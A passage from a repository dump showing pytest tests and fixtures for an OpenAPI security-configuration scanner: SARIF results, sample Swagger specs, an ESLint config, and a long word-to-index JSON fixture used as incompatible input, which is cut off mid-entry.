check=\"Oauth2SecurityPasswordFlow\")\n\n\ndef test_Oauth2SecurityRequirement():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"Oauth2SecurityRequirement\")\n\n\ndef test_OperationObjectBasicAuth():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"OperationObjectBasicAuth\")\n\n\ndef test_OperationObjectConsumesUndefined():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"OperationObjectConsumesUndefined\")\n\n\ndef test_OperationObjectImplicitFlow():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"OperationObjectImplicitFlow\")\n\n\ndef test_OperationObjectProducesUndefined():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"OperationObjectProducesUndefined\")\n\n\ndef test_OperationObjectSecurityScopeUndefined():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"OperationObjectSecurityScopeUndefined\")\n\n\ndef test_PathSchemeDefineHTTP():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"PathSchemeDefineHTTP\")\n\n\ndef test_SecurityDefinitionBasicAuth():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"SecurityDefinitionBasicAuth\")\n\n\ndef test_SecurityDefinitions():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"SecurityDefinitions\")\n\n\ndef test_SecurityRequirement():\n    run_check(base_path=BASE_DIR / \"resource\" / \"v2\", check=\"SecurityRequirement\")\n\n\n@pytest.fixture(autouse=True)\ndef setup():\n    global CHECK_ID_MAP\n    runner = Runner()\n    registry = runner.import_registry()\n    CHECK_ID_MAP = {check.__class__.__name__: check.id for entity, check in registry.all_checks()}\n\n\ndef run_check(base_path: Path, check: str) -> None:\n    # set path where to find test files\n    test_dir_path = base_path / f'example_{check}'\n\n    # setup GitHub configuration runner\n    runner = Runner()\n\n    # run actual check\n    report = runner.run(runner_filter=RunnerFilter(checks=CHECK_ID_MAP[check]), root_folder=str(test_dir_path))\n\n    # get actual results\n    summary = report.get_summary()\n    passed_checks = {check.file_path.lstrip(\"/\") for check in report.passed_checks}\n    failed_checks = {check.file_path.lstrip(\"/\") for check in report.failed_checks}\n\n    # get expected results\n    expected = load_yaml_data(dir_path=test_dir_path, source_file_name=\"expected.yaml\")\n\n    # make sure it is a dict\n    assert isinstance(expected, dict)\n\n    expected_to_pass = expected.get(\"pass\") or []\n    expected_to_fail = expected.get(\"fail\") or []\n\n    # check, if results are correct\n    assert summary[\"passed\"] == len(expected_to_pass)\n    assert summary[\"failed\"] == len(expected_to_fail)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_checks == set(expected_to_pass)\n    assert failed_checks == set(expected_to_fail)\n"
  },
  {
    "path": "tests/openapi/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/runner/resources/runner_results/results.sarif",
    "content": "{\"$schema\":\"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\"version\":\"2.1.0\",\"runs\":[{\"results\":[{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/swagger_empty_paths.yaml\"},\"region\":{\"startLine\":2,\"endLine\":16}}}]},{\"ruleId\":\"CKV_OPENAPI_1\",\"ruleIndex\":1,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that securityDefinitions is defined and not empty - version 2.0 files\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/swagger_empty_paths.yaml\"},\"region\":{\"startLine\":2,\"endLine\":16}}}]},{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/example.yml\"},\"region\":{\"startLine\":1,\"endLine\":13}}}]},{\"ruleId\":\"CKV_OPENAPI_1\",\"ruleIndex\":1,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that securityDefinitions is defined and not empty - version 2.0 files\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/example.yml\"},\"region\":{\"startLine\":1,\"endLine\":13}}}]},{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/example1.json\"},\"region\":{\"startLine\":1,\"endLine\":39}}}]},{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/example.json\"},\"region\":{\"startLine\":1,\"endLine\":20}}}]},{\"ruleId\":\"CKV_OPENAPI_1\",\"ruleIndex\":1,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that securityDefinitions is defined and not empty - version 2.0 files\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v2/example.json\"},\"region\":{\"startLine\":1,\"endLine\":1}}}]},{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v3/example.yaml\"},\"region\":{\"startLine\":1,\"endLine\":16}}}]},{\"ruleId\":\"CKV_OPENAPI_3\",\"ruleIndex\":2,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v3/example.yaml\"},\"region\":{\"startLine\":8,\"endLine\":11}}}]},{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v3/example1.json\"},\"region\":{\"startLine\":1,\"endLine\":8}}}]},{\"ruleId\":\"CKV_OPENAPI_4\",\"ruleIndex\":0,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that the global security field has rules defined\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v3/example.json\"},\"region\":{\"startLine\":1,\"endLine\":28}}}]},{\"ruleId\":\"CKV_OPENAPI_3\",\"ruleIndex\":2,\"level\":\"error\",\"attachments\":[],\"message\":{\"text\":\"Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files\"},\"locations\":[{\"physicalLocation\":{\"artifactLocation\":{\"uri\":\"v3/example1.yaml\"},\"region\":{\"startLine\":10,\"endLine\":13}}}]}]}]}"
  },
  {
    "path": "tests/openapi/runner/resources/runner_results/unrealted_yaml.yaml",
    "content": "root: true\nenv:\n  es2021: true\nextends:\n  - airbnb-base\n  - eslint:recommended\n  - plugin:@typescript-eslint/recommended\n  - plugin:import/recommended\n  - plugin:import/typescript\n  - plugin:playwright/playwright-test\nparser: '@typescript-eslint/parser'\nparserOptions:\n  ecmaVersion: latest\n  sourceType: module\nplugins:\n  - '@typescript-eslint'\n  - 'eslint-plugin-tsdoc'\nrules: {\n  'no-console': 0,\n  'tsdoc/syntax': 'warn',\n  'import/extensions': 0, # Overwriting Airbnb-base settings for Typescript\n  # Eslint confuses TypeScript Enums: https://github.com/typescript-eslint/typescript-eslint/issues/2466\n  'no-shadow': 'off',\n  '@typescript-eslint/no-shadow': ['error']\n}\n"
  },
  {
    "path": "tests/openapi/runner/resources/v2/example.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"pass1 example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"pass1id\",\n        \"summary\": \"pass1\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {}\n}"
  },
  {
    "path": "tests/openapi/runner/resources/v2/example.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: example\n      summary: example\n      responses:\n        \"200\":\n          description: 200 response\n      parameters:\n        - name: limit2\n          in: body\n          required: true\n          schema:\n            type: object\nsecurity:\n  - petstore_auth:\n      - write:pets\n      - read:pets\nsecurityDefinitions:\n  api_key:\n    type: apiKey\n    name: api_key\n    in: header"
  },
  {
    "path": "tests/openapi/runner/resources/v2/example.yml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: pass1 example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: pass1id\n      summary: pass1\n      responses:\n        \"200\":\n          description: 200 response"
  },
  {
    "path": "tests/openapi/runner/resources/v2/example1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"pass1 example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"pass1id\",\n        \"summary\": \"pass1\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"BasicAuth\": {\n      \"type\": \"basic\"\n    },\n    \"ApiKeyAuth\": {\n      \"type\": \"apiKey\",\n      \"name\": \"apiKey\",\n      \"in\": \"header\"\n    },\n    \"OAuth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"implicit\",\n      \"authorizationUrl\": \"https://swagger.io/api/oauth/dialog\",\n      \"tokenUrl\": \"https://swagger.io/api/oauth/token\",\n      \"scopes\": {\n        \"read\": \"read\",\n        \"write\": \"write\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/runner/resources/v2/incompatible_json.json",
    "content": "{\n  \"faces brexit\": 0,\n  \"formats\": 1,\n  \"families nationwide\": 2,\n  \"oxycodone\": 3,\n  \"clearly heading\": 4,\n  \"dream starting\": 5,\n  \"amazon wholesaler\": 6,\n  \"beard foundation\": 7,\n  \"citi citing\": 8,\n  \"regulated immigration\": 9,\n  \"complicated mistress\": 10,\n  \"network tweeted\": 11,\n  \"driving smaller\": 12,\n  \"sized christmas\": 13,\n  \"mod\": 14,\n  \"wasn swayed\": 15,\n  \"article notes\": 16,\n  \"stunt children\": 17,\n  \"ecological footprint\": 18,\n  \"checking account\": 19,\n  \"cgi animated\": 20,\n  \"rudy diamond\": 21,\n  \"arizona midterms\": 22,\n  \"potentially prevent\": 23,\n  \"action memphis\": 24,\n  \"thanks guys\": 25,\n  \"waste paper\": 26,\n  \"cover fuel\": 27,\n  \"dissed\": 28,\n  \"paid lobbyists\": 29,\n  \"giant constant\": 30,\n  \"best netflix\": 31,\n  \"fang companies\": 32,\n  \"business newsletter\": 33,\n  \"trade zone\": 34,\n  \"misrouted huawei\": 35,\n  \"hill fast\": 36,\n  \"expertise higher\": 37,\n  \"big number\": 38,\n  \"employees ecause\": 39,\n  \"service appointments\": 40,\n  \"scrutiny specifically\": 41,\n  \"new coo\": 42,\n  \"directing department\": 43,\n  \"better grapple\": 44,\n  \"yellow\": 45,\n  \"grayson\": 46,\n  \"customers anticipating\": 47,\n  \"tactics relating\": 48,\n  \"bonnaroo\": 49,\n  \"ago cmtx\": 50,\n  \"amazon nightmare\": 51,\n  \"foto\": 52,\n  \"accounting change\": 53,\n  \"freshman house\": 54,\n  \"wasn surprising\": 55,\n  \"traister simon\": 56,\n  \"nandita bose\": 57,\n  \"seattle says\": 58,\n  \"learn basic\": 59,\n  \"mother day\": 60,\n  \"humble structure\": 61,\n  \"promotion tour\": 62,\n  \"greg malouf\": 63,\n  \"change chg\": 64,\n  \"reported talk\": 65,\n  \"current politics\": 66,\n  \"ceasar\": 67,\n  \"comms\": 68,\n  \"dimensional\": 69,\n  \"carrie sheffield\": 70,\n  \"missouri abortion\": 71,\n  \"vented\": 72,\n  \"company headquartered\": 73,\n  \"microbial stretchy\": 74,\n  \"foxconn\": 75,\n  \"lululemons\": 76,\n  \"level consistent\": 77,\n  \"cabinet maybe\": 78,\n  \"function hidethumbnail\": 79,\n  \"offering billion\": 80,\n  \"2014 geekwire\": 81,\n  \"story southerners\": 82,\n  \"ecclestone rupert\": 83,\n  \"mounting criticism\": 84,\n  \"tariffs usually\": 85,\n  \"apnewsnow apfn\": 86,\n  \"biggest sales\": 87,\n  \"1500 amazon\": 88,\n  \"big philanthropy\": 89,\n  \"backbone\": 90,\n  \"sorry peter\": 91,\n  \"hot sauces\": 92,\n  \"york basically\": 93,\n  \"theories\": 94,\n  \"potential death\": 95,\n  \"says blackstones\": 96,\n  \"second coat\": 97,\n  \"catch regulators\": 98,\n  \"eye\": 99,\n  \"gop controlled\": 100,\n  \"airline militia\": 101,\n  \"second major\": 102,\n  \"right bezos\": 103,\n  \"patents nearly\": 104,\n  \"arabia html\": 105,\n  \"separating communications\": 106,\n  \"malito marketwatch\": 107,\n  \"immigrants pic\": 108,\n  \"div js\": 109,\n  \"regulates work\": 110,\n  \"oyinkan braithwaite\": 111,\n  \"000 separations\": 112,\n  \"cybersecurity experts\": 113,\n  \"billions according\": 114,\n  \"watching pirated\": 115,\n  \"moving bookstores\": 116,\n  \"calling sanders\": 117,\n  \"plan minute\": 118,\n  \"news general\": 119,\n  \"government reported\": 120,\n  \"release paperback\": 121,\n  \"needs don\": 122,\n  \"shipping powerball\": 123,\n  \"large tax\": 124,\n  \"truth alexa\": 125,\n  \"euro financial\": 126,\n  \"trump galls\": 127,\n  \"mattis nearly\": 128,\n  \"brexiteers\": 129,\n  \"york banker\": 130,\n  \"law abiding\": 131,\n  \"priority medium\": 132,\n  \"reportedly discussed\": 133,\n  \"qualified property\": 134,\n  \"836 9477\": 135,\n  \"undergraduate degree\": 136,\n  \"article appears\": 137,\n  \"provokes\": 138,\n  \"2019 amzn\": 139,\n  \"james saaristo\": 140,\n  \"governor thank\": 141,\n  \"vector created\": 142,\n  \"divest\": 143,\n  \"original pop\": 144,\n  \"amazon pay\": 145,\n  \"niger delta\": 146,\n  \"fake losses\": 147,\n  \"suleiman ali\": 148,\n  \"post asked\": 149,\n  \"house ignored\": 150,\n  \"fell 103\": 151,\n  \"lede paragraph\": 152,\n  \"amazon smile\": 153,\n  \"prove potential\": 154,\n  \"thank amazon\": 155,\n  \"updated sales\": 156,\n  \"targeting breitbart\": 157,\n  \"bankrolling huge\": 158,\n  \"stamina\": 159,\n  \"places twitter\": 160,\n  \"job did\": 161,\n  \"secrecy agreement\": 162,\n  \"decrease response\": 163,\n  \"amazon device\": 164,\n  \"including rep\": 165,\n  \"amazon break\": 166,\n  \"book sales\": 167,\n  \"session lows\": 168,\n  \"pursuing regulation\": 169,\n  \"policy eu\": 170,\n  \"ivan\": 171,\n  \"2019 effective\": 172,\n  \"improve diversity\": 173,\n  \"site read\": 174,\n  \"developer racked\": 175,\n  \"187\": 176,\n  \"threaded inquiry\": 177,\n  \"newsweek trump\": 178,\n  \"colorado says\": 179,\n  \"smacks\": 180,\n  \"latest soaring\": 181,\n  \"paltrow\": 182,\n  \"creates unsustainable\": 183,\n  \"americans make\": 184,\n  \"host colin\": 185,\n  \"canceled follow\": 186,\n  \"extraterrestrial colonies\": 187,\n  \"victim search\": 188,\n  \"650 650w\": 189,\n  \"mccaul\": 190,\n  \"classics lord\": 191,\n  \"kushner saw\": 192,\n  \"return john\": 193,\n  \"energy water\": 194,\n  \"house attempted\": 195,\n  \"terrence\": 196,\n  \"547 retail\": 197,\n  \"testimony donald\": 198,\n  \"america mega\": 199,\n  \"including hearing\": 200,\n  \"238 total\": 201,\n  \"qaeda\": 202,\n  \"brazil far\": 203,\n  \"program clark\": 204,\n  \"stories included\": 205,\n  \"educated workforce\": 206,\n  \"raedle joe\": 207,\n  \"economy defies\": 208,\n  \"war treasury\": 209,\n  \"expose amazon\": 210,\n  \"twitter bender\": 211,\n  \"sanders form\": 212,\n  \"baptist church\": 213,\n  \"buy stylish\": 214,\n  \"steel plant\": 215,\n  \"solid boxing\": 216,\n  \"drone footage\": 217,\n  \"pretender right\": 218,\n  \"flynn lied\": 219,\n  \"watching thecoverage\": 220,\n  \"duped patients\": 221,\n  \"comment requests\": 222,\n  \"bills expanded\": 223,\n  \"regularly describes\": 224,\n  \"steve ballmer\": 225,\n  \"vegetarian\": 226,\n  \"cronies\": 227,\n  \"street sent\": 228,\n  \"tech mergers\": 229,\n  \"libertarian presidential\": 230,\n  \"nafta trucking\": 231,\n  \"recent crises\": 232,\n  \"netflix cult\": 233,\n  \"soon books\": 234,\n  \"week amazon\": 235,\n  \"companies reporting\": 236,\n  \"welfare claim\": 237,\n  \"visited american\": 238,\n  \"far ahead\": 239,\n  \"friend slansky\": 240,\n  \"second cbre\": 241,\n  \"order ordering\": 242,\n  \"resolve patent\": 243,\n  \"marsden james\": 244,\n  \"laurel permanent\": 245,\n  \"governors offices\": 246,\n  \"avoids\": 247,\n  \"punching bag\": 248,\n  \"means beholden\": 249,\n  \"computer equipment\": 250,\n  \"characters awaken\": 251,\n  \"boss chopra\": 252,\n  \"usa today\": 253,\n  \"tri\": 254,\n  \"including surge\": 255,\n  \"emergency seeking\": 256,\n  \"remains fixed\": 257,\n  \"politico headline\": 258,\n  \"eu banking\": 259,\n  \"impunity amazon\": 260,\n  \"showdown set\": 261,\n  \"local politician\": 262,\n  \"column concerning\": 263,\n  \"virginia leaders\": 264,\n  \"extended hours\": 265,\n  \"rounded square\": 266,\n  \"rich polling\": 267,\n  \"fox local\": 268,\n  \"indirectly hurt\": 269,\n  \"border despite\": 270,\n  \"injury amazon\": 271,\n  \"jinping winnie\": 272,\n  \"otterbox\": 273,\n  \"simply amazon\": 274,\n  \"esplanade\": 275,\n  \"unusual trends\": 276,\n  \"trans people\": 277,\n  \"directed hush\": 278,\n  \"manhattan told\": 279,\n  \"cream\": 280,\n  \"depressing wrote\": 281,\n  \"prequel\": 282,\n  \"merkel\": 283,\n  \"aldo\": 284,\n  \"japan economy\": 285,\n  \"child support\": 286,\n  \"economy financed\": 287,\n  \"families work\": 288,\n  \"called meeting\": 289,\n  \"mobile device\": 290,\n  \"cited study\": 291,\n  \"design amazon\": 292,\n  \"creepy threats\": 293,\n  \"isn parody\": 294,\n  \"faux blond\": 295,\n  \"significant subscriber\": 296,\n  \"thanks amid\": 297,\n  \"lowdown\": 298,\n  \"public treasuries\": 299,\n  \"home designed\": 300,\n  \"stuart applebaum\": 301,\n  \"2011 privacy\": 302,\n  \"lawmakers say\": 303,\n  \"bezos sees\": 304,\n  \"gudiel told\": 305,\n  \"dillon retired\": 306,\n  \"stories published\": 307,\n  \"begin collecting\": 308,\n  \"eradicate rumored\": 309,\n  \"texas newspaper\": 310,\n  \"care act\": 311,\n  \"bezos 160\": 312,\n  \"nest egg\": 313,\n  \"default voice\": 314,\n  \"pin\": 315,\n  \"mushroom\": 316,\n  \"agreement regarding\": 317,\n  \"kennedy retirement\": 318,\n  \"accent\": 319,\n  \"apec summit\": 320,\n  \"shareholders shares\": 321,\n  \"kay\": 322,\n  \"month budget\": 323,\n  \"chasing salacious\": 324,\n  \"energy science\": 325,\n  \"effectively needs\": 326,\n  \"davis hamilton\": 327,\n  \"maternity care\": 328,\n  \"committing voter\": 329,\n  \"immigration tale\": 330,\n  \"television producer\": 331,\n  \"void jens\": 332,\n  \"commission build\": 333,\n  \"us269 million\": 334,\n  \"belts\": 335,\n  \"seconds national\": 336,\n  \"story tony\": 337,\n  \"high drug\": 338,\n  \"danablankenhorn\": 339,\n  \"soon learns\": 340,\n  \"began\": 341,\n  \"spend little\": 342,\n  \"hbo limited\": 343,\n  \"hldgs plc\": 344,\n  \"dol\": 345,\n  \"profiling yasha\": 346,\n  \"pressure mounting\": 347,\n  \"transportation subjected\": 348,\n  \"investment advice\": 349,\n  \"roads\": 350,\n  \"dared work\": 351,\n  \"ordinary letters\": 352,\n  \"financial crises\": 353,\n  \"proprietary distribution\": 354,\n  \"faced intense\": 355,\n  \"website systems\": 356,\n  \"black panther\": 357,\n  \"ghoul\": 358,\n  \"yields hopes\": 359,\n  \"president trumps\": 360,\n  \"interviewer george\": 361,\n  \"company stocks\": 362,\n  \"credit sen\": 363,\n  \"ivana\": 364,\n  \"conspiratorial merch\": 365,\n  \"advocating socialist\": 366,\n  \"republicans badly\": 367,\n  \"archie comics\": 368,\n  \"real wages\": 369,\n  \"lunch areas\": 370,\n  \"starry new\": 371,\n  \"offer billions\": 372,\n  \"trump clapper\": 373,\n  \"stuff cities\": 374,\n  \"inflammatory social\": 375,\n  \"democratic senators\": 376,\n  \"deterioration\": 377,\n  \"police searching\": 378,\n  \"tester\": 379,\n  \"rumors head\": 380,\n  \"doj considered\": 381,\n  \"story things\": 382,\n  \"100 renewable\": 383,\n  \"political dialogue\": 384,\n  \"neighbors lets\": 385,\n  \"personal stories\": 386,\n  \"feed attorney\": 387,\n  \"jr aut_imgid\": 388,\n  \"analysts forecasts\": 389,\n  \"tempting target\": 390,\n  \"russians russia\": 391,\n  \"considering amzn\": 392,\n  \"harnessed\": 393,\n  \"hollywood mogul\": 394,\n  \"carolinas florida\": 395,\n  \"implications\": 396,\n  \"latest skirmish\": 397,\n  \"consider buying\": 398,\n  \"google monopolies\": 399,\n  \"newlyweds\": 400,\n  \"including deutsche\": 401,\n  \"perpetuity\": 402,\n  \"prison time\": 403,\n  \"automobile dashboards\": 404,\n  \"hospital zurich\": 405,\n  \"dollar penalty\": 406,\n  \"photos migrant\": 407,\n  \"begin transitioning\": 408,\n  \"needs scrutiny\": 409,\n  \"1987 novel\": 410,\n  \"reuters trump\": 411,\n  \"atlantic puts\": 412,\n  \"ultimately leads\": 413,\n  \"wrongly\": 414,\n  \"todays news\": 415,\n  \"twitter overall\": 416,\n  \"lost money\": 417,\n  \"caravans\": 418,\n  \"congressed passed\": 419,\n  \"service faces\": 420,\n  \"1517et\": 421,\n  \"currentvideoid nextplay\": 422,\n  \"diploid cell\": 423,\n  \"friend hates\": 424,\n  \"usps deal\": 425,\n  \"true videocollection\": 426,\n  \"addresses supporters\": 427,\n  \"eye popping\": 428,\n  \"company saying\": 429,\n  \"isliveplayer\": 430,\n  \"realdonaldtrump pic\": 431,\n  \"khosrowshahi did\": 432,\n  \"worth 35b\": 433,\n  \"york stock\": 434,\n  \"selling live\": 435,\n  \"deadline extensions\": 436,\n  \"amazon choice\": 437,\n  \"broke involved\": 438,\n  \"insisted\": 439,\n  \"analysis declared\": 440,\n  \"boost latino\": 441,\n  \"2015 forbes\": 442,\n  \"taking prime\": 443,\n  \"extra sympathy\": 444,\n  \"resource extraction\": 445,\n  \"bezos outed\": 446,\n  \"heartbreaking note\": 447,\n  \"424 000\": 448,\n  \"products cnbc\": 449,\n  \"scared victory\": 450,\n  \"deals look\": 451,\n  \"hotel conference\": 452,\n  \"reconsideration\": 453,\n  \"embarrassed\": 454,\n  \"591\": 455,\n  \"spring repeatedly\": 456,\n  \"bought 665\": 457,\n  \"security justice\": 458,\n  \"carrier route\": 459,\n  \"folklore hbo\": 460,\n  \"accomplish\": 461,\n  \"emotion gender\": 462,\n  \"syllabus\": 463,\n  \"monopolies gain\": 464,\n  \"learn\": 465,\n  \"hour shifts\": 466,\n  \"growing tech\": 467,\n  \"bezos spent\": 468,\n  \"hit losing\": 469,\n  \"billionaire ceo\": 470,\n  \"helped make\": 471,\n  \"road deputies\": 472,\n  \"way regulators\": 473,\n  \"flagship ignition\": 474,\n  \"ddouglaston\": 475,\n  \"sparkr\": 476,\n  \"bmw shares\": 477,\n  \"yorker phoebe\": 478,\n  \"jia jiang\": 479,\n  \"court screaming\": 480,\n  \"kalles\": 481,\n  \"occurring\": 482,\n  \"gang rape\": 483,\n  \"antagonism\": 484,\n  \"pilot episode\": 485,\n  \"catalog retailers\": 486,\n  \"tlrd\": 487,\n  \"close advisers\": 488,\n  \"mainland chinese\": 489,\n  \"internationalversion\": 490,\n  \"amazon deep\": 491,\n  \"uu0wzyvqf2\": 492,\n  \"admit mueller\": 493,\n  \"mamma gamma\": 494,\n  \"847 shares\": 495,\n  \"discrimination erode\": 496,\n  \"nary monopoly\": 497,\n  \"detective chloe\": 498,\n  \"service page\": 499,\n  \"king availability\": 500,\n  \"season black\": 501,\n  \"statutory rape\": 502,\n  \"food medicine\": 503,\n  \"hardball spending\": 504,\n  \"samar\": 505,\n  \"bank rob\": 506,\n  \"renewed cbs\": 507,\n  \"medium width\": 508,\n  \"emily cochrane\": 509,\n  \"roger bedford\": 510,\n  \"investment officer\": 511,\n  \"consuming enterprise\": 512,\n  \"democrats wrote\": 513,\n  \"web traffic\": 514,\n  \"legal financial\": 515,\n  \"stock sliding\": 516,\n  \"sales make\": 517,\n  \"government people\": 518,\n  \"standard lose\": 519,\n  \"south lake\": 520,\n  \"tagay spokesperson\": 521,\n  \"companies critics\": 522,\n  \"law led\": 523,\n  \"feature translators\": 524,\n  \"baba chairman\": 525,\n  \"carlton\": 526,\n  \"intelligence committees\": 527,\n  \"buffett company\": 528,\n  \"separate fines\": 529,\n  \"significantly boost\": 530,\n  \"instrumental\": 531,\n  \"owners\": 532,\n  \"cloud business\": 533,\n  \"strictly\": 534,\n  \"play campaign\": 535,\n  \"highly developed\": 536,\n  \"botched brexit\": 537,\n  \"000 teamsters\": 538,\n  \"usually large\": 539,\n  \"poster going\": 540,\n  \"239 billion\": 541,\n  \"shares overweight\": 542,\n  \"promising way\": 543,\n  \"judge prosecutor\": 544,\n  \"holdings 925\": 545,\n  \"misdiagnosed\": 546,\n  \"ultimately did\": 547,\n  \"taking enforcement\": 548,\n  \"airport newsstand\": 549,\n  \"dollar toll\": 550,\n  \"districts new\": 551,\n  \"president doings\": 552,\n  \"person acknowledges\": 553,\n  \"photographer raad\": 554,\n  \"reseller\": 555,\n  \"outdoor sports\": 556,\n  \"halifax\": 557,\n  \"q19\": 558,\n  \"kennedy\": 559,\n  \"shooting severe\": 560,\n  \"establishing future\": 561,\n  \"alongside new\": 562,\n  \"internal administration\": 563,\n  \"spoke briefly\": 564,\n  \"religious references\": 565,\n  \"slattery just\": 566,\n  \"longer entitled\": 567,\n  \"tabloid scandal\": 568,\n  \"says tabloid\": 569,\n  \"profound\": 570,\n  \"ceremonies\": 571,\n  \"cards game\": 572,\n  \"aw\": 573,\n  \"commerce cite\": 574,\n  \"million visitors\": 575,\n  \"born life\": 576,\n  \"production demands\": 577,\n  \"domestic label\": 578,\n  \"jilted\": 579,\n  \"rally reuters\": 580,\n  \"president wrath\": 581,\n  \"askebay\": 582,\n  \"did jim\": 583,\n  \"thoughts claiming\": 584,\n  \"joined\": 585,\n  \"aurora bridge\": 586,\n  \"hemingway quadrille\": 587,\n  \"class proprietary\": 588,\n  \"weren necessarily\": 589,\n  \"responsible news\": 590,\n  \"paterson added\": 591,\n  \"switch tasks\": 592,\n  \"sheeran london\": 593,\n  \"hayley peterson\": 594,\n  \"argument think\": 595,\n  \"selling counterfeit\": 596,\n  \"business adsection\": 597,\n  \"deathwatch\": 598,\n  \"players began\": 599,\n  \"deceased individuals\": 600,\n  \"finance deal\": 601,\n  \"football 2018\": 602,\n  \"kj6afdqzl7 mijente\": 603,\n  \"uber ceos\": 604,\n  \"worst monthly\": 605,\n  \"chocolate\": 606,\n  \"currently estimated\": 607,\n  \"nick hayek\": 608,\n  \"smaller hub\": 609,\n  \"traditionally suit\": 610,\n  \"record soybean\": 611,\n  \"seattle hold\": 612,\n  \"gods photo\": 613,\n  \"pocketing\": 614,\n  \"republican eric\": 615,\n  \"israeli airstrikes\": 616,\n  \"distills\": 617,\n  \"daughter smarsh\": 618,\n  \"pay real\": 619,\n  \"o2x x0\": 620,\n  \"fix specific\": 621,\n  \"food systems\": 622,\n  \"prostitution mueller\": 623,\n  \"members wantit\": 624,\n  \"intense focus\": 625,\n  \"paris influenced\": 626,\n  \"essentially slit\": 627,\n  \"238 candidates\": 628,\n  \"fight club\": 629,\n  \"hit hollywood\": 630,\n  \"elizabeth warren\": 631,\n  \"soft coup\": 632,\n  \"es\": 633,\n  \"tri county\": 634,\n  \"story contract\": 635,\n  \"initial prediction\": 636,\n  \"fall creating\": 637,\n  \"groundbreaking\": 638,\n  \"elizabeth handbag\": 639,\n  \"311 reduced\": 640,\n  \"topics broadcast\": 641,\n  \"helps soldiers\": 642,\n  \"laden new\": 643,\n  \"new grant\": 644,\n  \"imagine taking\": 645,\n  \"account saying\": 646,\n  \"tbd immersive\": 647,\n  \"manipulation senate\": 648,\n  \"album lead\": 649,\n  \"widening\": 650,\n  \"powerful grassroots\": 651,\n  \"margin pressure\": 652,\n  \"lance\": 653,\n  \"border white\": 654,\n  \"blog rss\": 655,\n  \"compliment\": 656,\n  \"announced questions\": 657,\n  \"reopened\": 658,\n  \"dayen strong\": 659,\n  \"pentagon called\": 660,\n  \"turbulent political\": 661,\n  \"tag amazon\": 662,\n  \"driver license\": 663,\n  \"cnn time\": 664,\n  \"billions yr\": 665,\n  \"deep concerns\": 666,\n  \"reportedly tried\": 667,\n  \"idea act\": 668,\n  \"public transparent\": 669,\n  \"high valuations\": 670,\n  \"pure raw\": 671,\n  \"fair jeong\": 672,\n  \"cruze cars\": 673,\n  \"criticize president\": 674,\n  \"officials 